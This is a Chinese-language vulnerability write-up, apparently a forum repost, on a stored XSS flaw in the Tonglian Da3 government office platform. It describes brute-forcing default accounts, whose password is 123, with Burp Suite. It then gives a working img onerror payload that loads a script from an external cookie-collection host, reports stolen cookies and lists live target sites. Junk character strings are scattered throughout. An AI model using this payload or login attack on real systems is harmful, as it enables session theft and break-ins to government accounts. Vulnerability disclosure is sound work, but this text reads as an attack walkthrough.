同联Da3协同办公平台后台通用储存型xss漏洞

admin

, {$ L$ o5 c4 r, ]3 P ' { R( x, z, n4 X* a 7 [$ A( C$ {4 Y, v1 f ( K& k$ M" y5 t: f& U 7 h# A% J! y M/ e- q8 j! T 7 T$ t& d) ?" a% @3 U

% k7 H7 `2 c8 H/ I2 m- | 同联Da3协同办公平台后台通用储存型xss漏洞

平台简介：

0 ]3 b3 T% B0 e B

  : ]* J) f5 w) D9 Q

' }0 F: T% l; D f- a3 a8 Q

M2 d, h3 v s1 b& }/ Y7 n6 \ 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
4 r) s: _. v5 i/ z同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

$ [7 [% |$ G! e+ T$ F8 u

  + V% u; \ e6 ^6 s9 c

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

3 b4 U- V5 I J1 K7 ~% w

  % r0 m+ k2 r, d$ P

1 _$ ^/ I4 M+ _0 ^, C( `3 A

. F) m& h* `" c f http://1.1.1.1:7197/cap-aco/#（案例2-）

! K6 s# O& ?' @+ z

' |9 g* T d# C4 x; v+ |( @+ r& v http://www.XXOO.com （案例1-官网网站） 8 A) l% Z( m/ @1 o, @; j. g7 D

漏洞详情:

 案例一、 : j& q- {& F8 Y4 e3 r& r3 N& E& Y

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

8 ~) S( ~1 m! `9 u! |' A$ g: \5 E

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

( G) j. D! P5 M. t! g/ p  

( x* d0 x: `4 g. h6 x. s- S

& o9 ?: L5 j/ K" A

; \7 X# m" J. `3 z( s: }( ^' u# e

! I) ?4 ^9 \$ d status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

/ f" T+ X4 x/ s, ]% N  

% U1 `6 @7 T% n

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

" [+ p- Q9 @5 [! V5 K* e! O

 

( d1 d( ?# W/ O/ _8 ?

<img src=x ; K8 ?0 W8 z5 u3 B1 qonerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

' S: |7 ~) S6 n

6 N# f/ y. S+ J ]- \! @) U * l" b0 @) Z- E; J; ^

( V4 I2 h! `0 N/ \ [' S' k; L 然后发送，接收cookie如图： - U1 @5 J; g8 _

 

A9 t& }6 ^0 s% g9 L9 S

1 u0 b# t" r4 k0 q+ U- R   3 n+ N1 J' B% J1 K, D# j

# i- h8 V9 M( z K9 u! I: h. D

 

( Y3 m) m! _% F% u/ ~   8 o+ b0 D4 X# S4 E( d0 [

1 F5 E/ L: O& F9 j9 D3 B

4 X% O$ R8 I D2 q# g+ J

, V# U7 V) |& v/ `

 

7 {: @+ f) q5 K4 z+ y 案例2、 $ T& o- d8 V. q) R& M3 ~

' \' O* J. c2 y' [) s! W( M

3 n7 _, o7 F# x3 |. D+ o 前面步骤都一样，下面看效果图： + e( O2 h' s h' ?

8 K' x. r% ]& f( R. ]/ [

: y6 |- \& K4 o* n7 \; l3 k. r

. {3 ^& Q/ k( I+ D7 H

! t( n- [# l6 H2 L) ^   + Q. U/ i7 P: c

 

7 g' L) d3 d+ c+ `5 ?# N

* q0 R0 `' S2 K1 w

  4 K6 ]2 N1 i) q9 }

 

1 ?' p" w$ j4 D; W7 l   / x! h3 F' j: `- a

" ~$ N N0 `$ W; t6 k